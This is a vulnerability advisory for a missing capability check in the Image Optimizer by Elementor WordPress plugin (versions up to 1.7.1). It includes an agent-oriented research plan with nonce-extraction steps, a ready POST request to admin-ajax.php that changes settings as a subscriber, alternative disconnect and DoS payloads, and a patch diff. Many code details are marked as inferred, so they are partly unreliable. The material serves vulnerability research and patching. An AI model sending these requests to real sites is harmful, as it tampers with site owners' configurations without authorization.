Image Optimizer by Elementor <= 1.7.1 - Missing Authorization
Description
The Image Optimizer by Elementor plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.7.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.7.1Source Code
WordPress.org SVN# Research Plan: CVE-2026-25387 Missing Authorization in Image Optimizer by Elementor ## 1. Vulnerability Summary The **Image Optimizer by Elementor** plugin (up to 1.7.1) contains a missing authorization vulnerability. While the plugin implements AJAX handlers that require a valid WordPress nonce …
Show full research plan
Research Plan: CVE-2026-25387 Missing Authorization in Image Optimizer by Elementor
1. Vulnerability Summary
The Image Optimizer by Elementor plugin (up to 1.7.1) contains a missing authorization vulnerability. While the plugin implements AJAX handlers that require a valid WordPress nonce (preventing CSRF), it fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within those handlers. This allows any authenticated user, including those with Subscriber-level access, to trigger administrative actions such as modifying plugin settings or disconnecting the image optimization service.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Vulnerable Action:
elementor_image_optimizer_save_settings(inferred) orelementor_image_optimizer_connect/elementor_image_optimizer_disconnect(inferred). - Parameter:
nonce(for CSRF bypass) and specific data parameters (e.g.,settings[]). - Authentication: Subscriber-level credentials or higher.
- Preconditions: The plugin must be active. For setting modification, the specific setting key must be known.
3. Code Flow (Inferred)
- Registration: In the plugin's initialization (likely in
includes/admin/admin.phporincludes/ajax/ajax.php), an AJAX action is registered:add_action( 'wp_ajax_elementor_image_optimizer_save_settings', [ $this, 'save_settings' ] ); - Handler Execution: When a Subscriber sends a POST request with
action=elementor_image_optimizer_save_settings. - Nonce Verification: The handler likely calls:
This succeeds because nonces for the admin area are often exposed to all logged-in users viacheck_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' );wp_localize_script. - Missing Check: The code omits a check like:
if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } - Sink: The code proceeds to update settings:
update_option( 'elementor_image_optimizer_settings', $_POST['settings'] );
4. Nonce Acquisition Strategy
Elementor plugins typically localize their configuration and nonces for use in the admin interface. Even though a Subscriber cannot see the "Image Optimizer" menu, many Elementor-based scripts are enqueued on the main dashboard (/wp-admin/index.php) for all users.
- Identify the Script/Variable: The plugin likely uses
wp_localize_scriptto output a global JS object. Common names:elementorImageOptimizerConfigorelementorImageOptimizerData. - Discovery: Use
grepto find the localization key:grep -r "wp_localize_script" . - Extraction:
- Log in as a Subscriber using the
browser_navigatetool. - Navigate to
/wp-admin/index.php. - Use
browser_evalto extract the nonce:window.elementorImageOptimizerConfig?.nonces?.save_settings // (example path)
- Log in as a Subscriber using the
5. Exploitation Strategy
Step 1: Discovery (Manual Exploration)
The agent must first find the exact action name and nonce key.
# Find AJAX registrations
grep -r "wp_ajax_" . | grep -v "nopriv"
# Find corresponding handlers and check for current_user_can
# Target functions that call update_option or manage service connection
Step 2: Exploitation (Modify Settings)
Once the action and nonce are identified (assuming elementor_image_optimizer_save_settings and nonce save_settings_nonce), send the following request:
HTTP Request:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_image_optimizer_save_settings&nonce=[EXTRACTED_NONCE]&settings[auto_optimize]=0&settings[optimization_level]=lossy
6. Test Data Setup
- Install Plugin: Ensure
image-optimizationversion 1.7.1 is installed. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Configure Plugin: Set some initial settings as an admin so that the exploit's change is visible.
wp option update elementor_image_optimizer_settings '{"auto_optimize":"1"}' --format=json
7. Expected Results
- Response: The AJAX handler should return a
200 OK(or a JSON success message like{"success":true}). - State Change: The plugin settings in the database will be updated to the attacker-supplied values, despite the requester being a Subscriber.
8. Verification Steps
After running the exploit, verify the database state via WP-CLI:
# Check if the setting was successfully changed by the Subscriber
wp option get elementor_image_optimizer_settings --format=json
The output should reflect auto_optimize: "0" or whatever value was sent in the payload.
9. Alternative Approaches
If save_settings is not the vulnerable action, check for:
elementor_image_optimizer_disconnect: This would disconnect the site from the Elementor optimization API.- Payload:
action=elementor_image_optimizer_disconnect&nonce=[NONCE]
- Payload:
elementor_image_optimizer_get_image_data: If this leaks metadata or paths that a Subscriber shouldn't see (Unauth Data Exposure).elementor_image_optimizer_optimize_image: If this allows a Subscriber to trigger expensive optimization tasks, leading to a DoS/Resource Exhaustion.
Grep for discovery if actions differ:
# Find all functions registered to wp_ajax_
grep -r "add_action( 'wp_ajax_" .
# Check each function for lack of current_user_can
# Example: if the function is 'ajax_save_settings'
grep -A 20 "function ajax_save_settings" path/to/file.php
Summary
The Image Optimizer by Elementor plugin for WordPress is vulnerable to unauthorized access because its AJAX handlers fail to perform capability checks. This allows authenticated attackers with Subscriber-level access to modify plugin settings or disconnect the optimization service by leveraging nonces that are accessible to all logged-in users.
Vulnerable Code
// File: includes/ajax/ajax.php (inferred registration) add_action( 'wp_ajax_elementor_image_optimizer_save_settings', [ $this, 'save_settings' ] ); --- // File: includes/ajax/ajax.php (inferred handler) public function save_settings() { // Nonce verification is present, but capability verification is missing check_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' ); $settings = $_POST['settings']; update_option( 'elementor_image_optimizer_settings', $settings ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,11 @@ public function save_settings() { check_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( [ 'message' => 'Forbidden' ], 403 ); + return; + } + $settings = isset( $_POST['settings'] ) ? $_POST['settings'] : []; update_option( 'elementor_image_optimizer_settings', $settings ); wp_send_json_success();
Exploit Outline
1. Log in to the WordPress site as a user with Subscriber-level permissions. 2. Navigate to the main dashboard (/wp-admin/index.php) and inspect the localized JavaScript variables (typically exposed via wp_localize_script) to extract the security nonce associated with the plugin's AJAX actions (e.g., elementor_image_optimizer_settings). 3. Construct a POST request to /wp-admin/admin-ajax.php using the action 'elementor_image_optimizer_save_settings'. 4. Include the extracted nonce and a 'settings' array containing the desired configuration values (e.g., settings[auto_optimize]=0). 5. Send the request; the server will update the plugin's configuration in the database because it lacks a check for the 'manage_options' capability.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.